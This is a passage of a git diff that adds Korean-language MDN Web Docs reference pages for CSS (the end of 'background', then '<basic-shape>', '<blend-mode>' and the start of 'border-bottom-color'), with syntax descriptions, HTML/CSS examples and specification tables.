+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="색상_키워드와_이미지를_사용한_배경">색상 키워드와 이미지를 사용한 배경</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="topbanner"&gt;
+ 작은 별&lt;br/&gt;
+ 반짝 반짝&lt;br/&gt;
+ 작은 별
+&lt;/p&gt;
+&lt;p class="warning"&gt;문단 하나&lt;p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.warning {
+ background: pink;
+}
+
+.topbanner {
+ background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("색상_키워드와_이미지를_사용한_배경")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="Notes" name="Notes">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#background', 'background')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_.ED.98.B8.ED.99.98.EC.84.B1" name="Browser_.ED.98.B8.ED.99.98.EC.84.B1">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
+
+<p><span class="comment">Categoria</span></p>
diff --git a/files/ko/web/css/basic-shape/index.html b/files/ko/web/css/basic-shape/index.html
new file mode 100644
index 0000000000..1697320804
--- /dev/null
+++ b/files/ko/web/css/basic-shape/index.html
@@ -0,0 +1,179 @@
+---
+title: <basic-shape>
+slug: Web/CSS/basic-shape
+tags:
+ - CSS
+ - CSS Date Type
+ - CSS Shapes
+ - Reference
+translation_of: Web/CSS/basic-shape
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;basic-shape&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}, {{cssxref("offset-path")}} 속성이 사용할 형태를 정의합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-basic-shape.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;basic-shape&gt;</code> 자료형은 아래의 기본 형태 함수 중 하나를 사용해 정의합니다.</p>
+
+<p>형태를 생성할 때, 형태의 기준 상자는 <code>&lt;basic-shape&gt;</code> 값을 사용하는 속성이 결정합니다. 형태의 좌표계는 기준 상자의 좌상단을 원점으로 하고, X축은 오른쪽, Y축은 아래쪽으로 나가게 됩니다. 백분율료 표현한 모든 길이는 기준 상자의 크기를 사용해 계산합니다.</p>
+
+<h3 id="형태_함수">형태 함수</h3>
+
+<p>다음의 형태를 지원합니다. 모든 <code>&lt;basic-shape&gt;</code> 값은 함수형 표기법을 사용하고, 여기서는 <a href="/ko/docs/Web/CSS/Value_definition_syntax">값 정의 구문</a>을 통해 정의합니다.</p>
+
+<dl>
+ <dt><code><a id="inset()" name="inset()"></a>inset()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>inset( &lt;shape-arg&gt;{1,4} [round &lt;border-radius&gt;]? )</code></pre>
+
+ <p>인셋(inset) 사각형을 정의합니다.</p>
+
+ <p>매개변수 네 개를 모두 제공했을 땐 기준 상자의 상, 우, 하, 좌측 모서리에서 각각의 값만큼 안쪽으로 이동하여 인셋 사각형의 모서리를 구성합니다. 매개변수는 여백 단축 속성의 구분을 따르므로 네 모서리를 한 개, 두 개 등의 값만으로 정의할 수 있습니다.</p>
+
+ <p>선택적 {{cssxref("border-radius", "&lt;border-radius&gt;")}} 매개변수를 <code>border-radius</code> 단축 속성 구문을 사용해 지정하면 인셋 사각형의 모서리를 둥글게 만들 수 있습니다.</p>
+
+ <p>좌우 인셋 각각 75%처럼, 한 축의 인셋 쌍 값의 합이 요소가 차지하는 크기보다 큰 경우 면적 없는 형태를 정의합니다.</p>
+
+ <div class="hidden">
+ <p>For this specification, this results in an empty float area.</p>
+ </div>
+ </dd>
+ <dt><code><a id="circle()" name="circle()"></a>circle()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>circle( [&lt;shape-radius&gt;]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p><code>&lt;shape-radius&gt;</code> 매개변수는 원의 반지름 <em>r</em>을 지정합니다. 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비와 높이를 공식 <code>sqrt(width^2+height^2)/sqrt(2)</code>에 대입한 결과가 최종 값이 됩니다.</p>
+
+ <p>{{cssxref("&lt;position&gt;")}} 매개변수는 원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.</p>
+ </dd>
+ <dt><code><a id="ellipse()" name="ellipse()"></a>ellipse()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>ellipse( [&lt;shape-radius&gt;{2}]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p><code>&lt;shape-radius&gt;</code> 매개변수는 타원의 X축, Y축 반지름인 r<sub>x</sub>와 r<sub>y</sub>를 순서대로 지정합니다. 두 값 모두 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비(r<sub>x</sub>)와 높이(r<sub>y</sub>)를 사용해 계산합니다.</p>
+
+ <p>{{cssxref("&lt;position&gt;")}} 매개변수는 타원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.</p>
+ </dd>
+ <dt><code><a id="polygon()" name="polygon()"></a>polygon()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>polygon( [&lt;fill-rule&gt;,]? [&lt;shape-arg&gt; &lt;shape-arg&gt;]# )</code></pre>
+
+ <p><code>&lt;fill-rule&gt;</code> represents the <a href="/en-US/docs/Web/SVG/Attribute/fill-rule">filling rule</a> used to determine the interior of the polygon. Possible values are <code>nonzero</code> and <code>evenodd</code>. Default value when omitted is <code>nonzero</code>.</p>
+
+ <p>Each pair argument in the list represents <em>x<sub>i</sub></em> and <em>y<sub>i</sub></em> - the x and y axis coordinates of the i<sup>th</sup> vertex of the polygon.</p>
+ </dd>
+ <dt><code><a id="path()" name="path()"></a>path()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>path( [&lt;fill-rule&gt;,]? &lt;string&gt;)</code></pre>
+
+ <p>The optional <code>&lt;fill-rule&gt;</code> represents the <a href="/en-US/docs/Web/SVG/Attribute/fill-rule">filling rule</a> used to determine the interior of the path. Possible values are <code>nonzero</code> and <code>evenodd</code>. Default value when omitted is <code>nonzero</code>.</p>
+
+ <p>The required &lt;string&gt; is an <a href="/en-US/docs/SVG/Attribute/d">SVG Path</a> string encompassed in quotes</p>
+ </dd>
+</dl>
+
+<p>The arguments not defined above are defined as follows:</p>
+
+<pre class="syntaxbox"><code>&lt;shape-arg&gt; = &lt;length&gt; | &lt;percentage&gt;
+&lt;shape-radius&gt; = &lt;length&gt; | &lt;percentage&gt; | closest-side | farthest-side</code></pre>
+
+<p>Defines a radius for a circle or ellipse. If omitted it defaults to <code>closest-side</code>.</p>
+
+<p><code>closest-side</code> uses the length from the center of the shape to the closest side of the reference box. For circles, this is the closest side in any dimension. For ellipses, this is the closest side in the radius dimension.</p>
+
+<p><code>farthest-side</code> uses the length from the center of the shape to the farthest side of the reference box. For circles, this is the farthest side in any dimension. For ellipses, this is the farthest side in the radius dimension.</p>
+
+<h2 id="기본_형태의_계산값">기본 형태의 계산값</h2>
+
+<p>The values in a <code>&lt;basic-shape&gt;</code> function are computed as specified, with these exceptions:</p>
+
+<ul>
+ <li>Omitted values are included and compute to their defaults.</li>
+ <li>A {{cssxref("&lt;position&gt;")}} value in <code>circle()</code> or <code>ellipse()</code> is computed as a pair of offsets (horizontal then vertical) from the top left origin, each given as a combination of an absolute length and a percentage.</li>
+ <li>A <a href="/en-US/docs/Web/CSS/border-radius"><code>&lt;border-radius&gt;</code></a> value in <code>inset()</code> is computed as an expanded list of all eight {{cssxref("length")}} or percentage values.</li>
+</ul>
+
+<h2 id="기본_형태의_보간법">기본 형태의 보간법</h2>
+
+<p>When animating between one <code>&lt;basic-shape&gt;</code> and another, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, or {{cssxref("calc()")}} where possible. If list values are not one of those types but are identical, those values do interpolate.</p>
+
+<ul>
+ <li>Both shapes must use the same reference box.</li>
+ <li>If both shapes are the same type, that type is <code>ellipse()</code> or <code>circle()</code>, and none of the radii use the <code>closest-side</code> or <code>farthest-side</code> keywords, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>inset()</code>, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>polygon()</code>, both polygons have the same number of vertices, and use the same <code>&lt;fill-rule&gt;</code>, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>path()</code>, both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.</li>
+ <li>In all other cases no interpolation occurs.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Animated_polygon">Animated polygon</h3>
+
+<p>In this example, we use the <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+ width: 300px;
+ height: 300px;
+ background: repeating-linear-gradient(red, orange 50px);
+ clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+ animation: 4s poly infinite alternate ease-in-out;
+ margin: 10px auto;
+}
+
+@keyframes poly {
+ from {
+ clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+ }
+
+ to {
+ clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%);
+ }
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('Animated_polygon','340', '340')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS Shapes', '#basic-shape-functions', '&lt;basic-shape&gt;') }}</td>
+ <td>{{ Spec2('CSS Shapes') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.basic-shape")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;basic-shape&gt;</code>를 사용하는 속성: {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Edit Shape Paths in CSS — Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/ko/web/css/blend-mode/index.html b/files/ko/web/css/blend-mode/index.html
new file mode 100644
index 0000000000..f5570e1ce3
--- /dev/null
+++ b/files/ko/web/css/blend-mode/index.html
@@ -0,0 +1,404 @@
+---
+title: <blend-mode>
+slug: Web/CSS/blend-mode
+tags:
+ - CSS
+ - CSS Data Type
+ - Reference
+ - 블렌드 모드
+ - 혼합 모드
+translation_of: Web/CSS/blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;blend-mode&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소가 겹칠 경우 색상이 어떻게 나타나야 하는지 정의합니다. {{cssxref("background-blend-mode")}}와 {{cssxref("mix-blend-mode")}} 속성에서 사용합니다.</p>
+
+<p>최종 색상은 혼합 모드를 적용한 레이어 각각의 픽셀 하나씩에 대해 전경색과 배경색을 취한 후 모드에 따라 계산을 수행하여 나온 새로운 값입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;blend-mode&gt;</code> 자료형은 다음 키워드 값 중 하나를 선택해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code><a id="normal" name="normal">normal</a></code></dt>
+ <dd>
+ <p>배경색에 상관하지 않고 최상단 색을 사용합니다.<br>
+ 두 장의 불투명한 종이를 겹친 것과 같습니다.</p>
+
+ <div id="normal_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+ background-blend-mode: normal;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('normal_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="multiply" name="multiply">multiply</a></code></dt>
+ <dd>
+ <p>최종 색은 전경과 배경색을 곱한 값입니다.<br>
+ 검은 레이어는 최종 레이어를 검은 색으로 만들고, 하얀 레이어는 아무런 변화도 주지 않습니다.<br>
+ 투명한 필름에 프린트한 이미지를 서로 겹친 것과 같습니다.</p>
+
+ <div id="multiply_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: multiply;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('multiply_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="screen" name="screen">screen</a></code></dt>
+ <dd>
+ <p>최종 색은 전경과 배경색을 각각 반전한 후 서로 곱해 나온 값을 다시 반전한 값입니다.<br>
+ 검은 레이어는 아무런 변화도 주지 않고, 하얀 레이어는 최종 레이어를 하얗게 만듭니다.<br>
+ 프로젝터 두 대로 이미지를 겹친 것과 같습니다.</p>
+
+ <div id="screen_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: screen;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('screen_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="overlay" name="overlay">overlay</a></code></dt>
+ <dd>배경색이 더 어두운 경우 <code>multiply</code>, 더 밝은 경우 <code>screen</code>을 적용합니다.<br>
+ <code>hard-light</code>와 같지만 배경과 전경을 뒤집은 것입니다.
+ <div id="overlay_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: overlay;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('overlay_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="darken" name="darken">darken</a></code></dt>
+ <dd>
+ <p>최종 색은 각각의 색상 채널에 대해 제일 어두운 값을 취한 결과입니다.</p>
+
+ <div id="darken_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: darken;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('darken_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="lighten" name="lighten">lighten</a></code></dt>
+ <dd>
+ <p>최종 색은 각각의 색상 채널에 대해 제일 밝은 값을 취한 결과입니다.</p>
+
+ <div id="lighten_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: lighten;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('lighten_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color-dodge" name="color-dodge">color-dodge</a></code></dt>
+ <dd>
+ <p>최종 색은 배경색을 전경색의 역으로 나눈 결과입니다.<br>
+ 검은 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 제일 밝은 색이 됩니다.<br>
+ <code>screen</code>과 유사하지만, 전경색의 밝기가 배경색과 동일하기만 해도 최대의 밝기를 가진 색을 반환합니다.</p>
+
+ <div id="color-dodge_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color-dodge;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-dodge_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color-burn" name="color-burn">color-burn</a></code></dt>
+ <dd>
+ <p>최종 색은 배경색을 반전한 후 전경색으로 나누고, 다시 반전한 결과입니다.<br>
+ 하얀 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 결과는 검은색입니다.<br>
+ <code>multiply</code>와 유사하지만, 전경색의 밝기가 배경색의 역과 동일하기만 해도 검은색을 반환합니다.</p>
+
+ <div id="color-burn_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color-burn;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-burn_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="hard-light" name="hard-light">hard-light</a></code></dt>
+ <dd>
+ <p>전경색이 더 어두운 경우 <code>multiply</code>, 더 밝은 경우 <code>screen</code>을 적용합니다.<br>
+ <code>overlay</code>와 같지만 배경과 전경을 뒤집은 것입니다.<br>
+ 배경색에 스포트라이트를 "강렬하게" 비춘 효과와 유사합니다.</p>
+
+ <div id="hard-light_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: hard-light;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('hard-light_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="soft-light" name="soft-light">soft-light</a></code></dt>
+ <dd>
+ <p><code>hard-light</code>와 유사하지만 더 부드럽습니다.<br>
+ <code>hard-light</code>와 비슷하게 동작합니다.<br>
+ 배경색에 스포트라이트를 산란시켜 비춘 효과와 유사합니다.</p>
+
+ <div id="soft-light_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: soft-light;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('soft-light_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="difference" name="difference">difference</a></code></dt>
+ <dd>
+ <p>최종 색은 두 색상 중 더 어두운 색을 밝은 색에서 뺀 결과입니다.<br>
+ 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.</p>
+
+ <div id="difference_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: difference;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('difference_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="exclusion" name="exclusion">exclusion</a></code></dt>
+ <dd>
+ <p><code>difference</code>와 유사하지만 더 적은 대비를 가진 색을 반환합니다.<br>
+ <code>difference</code>와 마찬가지로 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.</p>
+
+ <div id="exclusion_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: exclusion;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('exclusion_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="hue" name="hue">hue</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 색조를 가지며 배경색의 채도와 밝기를 가집니다.</p>
+
+ <div id="hue_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: hue;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('hue_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="saturation" name="saturation">saturation</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 채도를 가지며 배경색의 색조와 밝기를 가집니다.<br>
+ 색조 없는 순수한 회색 배경으로는 아무런 효과도 없습니다.</p>
+
+ <div id="saturation_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: saturation;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('saturation_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color" name="color">color</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 색조와 채도를 가지며 배경색의 밝기를 가집니다.<br>
+ 회색조를 유지하므로 전경을 색칠할 때 사용할 수 있습니다.</p>
+
+ <div id="color_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="luminosity" name="luminosity">luminosity</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 밝기를 가지며 배경색의 색조와 채도를 가집니다.<br>
+ <code>color</code>와 동일하지만 배경과 전경을 뒤집은 것입니다.</p>
+
+ <div id="luminosity_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+ url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: luminosity;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('luminosity_example', "300", "300") }}</p>
+ </dd>
+</dl>
+
+<h2 id="혼합_모드의_보간">혼합 모드의 보간</h2>
+
+<p>혼합 모드는 보간 대상이 아니며 모든 변경점은 즉시 발생합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Compositing', '#ltblendmodegt', '&lt;blend-mode&gt;') }}</td>
+ <td>{{ Spec2('Compositing') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.blend-mode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;blend-mode&gt;</code>를 사용하는 속성: {{cssxref("background-blend-mode")}}, {{cssxref("mix-blend-mode")}}</li>
+</ul>
+
+<p>각각의 혼합 모드에 대한 설명을 다루는 외부 웹 페이지:</p>
+
+<ul>
+ <li>위키백과 <a href="https://ko.wikipedia.org/wiki/%EB%B8%94%EB%A0%8C%EB%93%9C_%EB%AA%A8%EB%93%9C">블렌드 모드</a></li>
+ <li>Adobe <a href="https://helpx.adobe.com/kr/photoshop/using/blending-modes.html">Adobe Photoshop에서의 혼합 모드</a></li>
+</ul>
diff --git a/files/ko/web/css/border-bottom-color/index.html b/files/ko/web/css/border-bottom-color/index.html
new file mode 100644
index 0000000000..eddf531cdc
--- /dev/null
+++ b/files/ko/web/css/border-bottom-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-bottom-color
+slug: Web/CSS/border-bottom-color
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-bottom-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-bottom-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-bottom")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-bottom-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers language-css">/* &lt;color&gt; 값 */
+border-bottom-color: red;
+border-bottom-color: #ffbb00;
+border-bottom-color: rgb(255, 0, 0);
+border-bottom-color: hsla(100%, 50%, 25%, 0.75);
+border-bottom-color: currentColor;
+border-bottom-color: transparent;
+
+/* 전역 값 */
+border-bottom-color: inherit;
+border-bottom-color: initial;
+border-bottom-color: unset;
+</pre>
+
+<p><code>border-bottom-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>아래쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
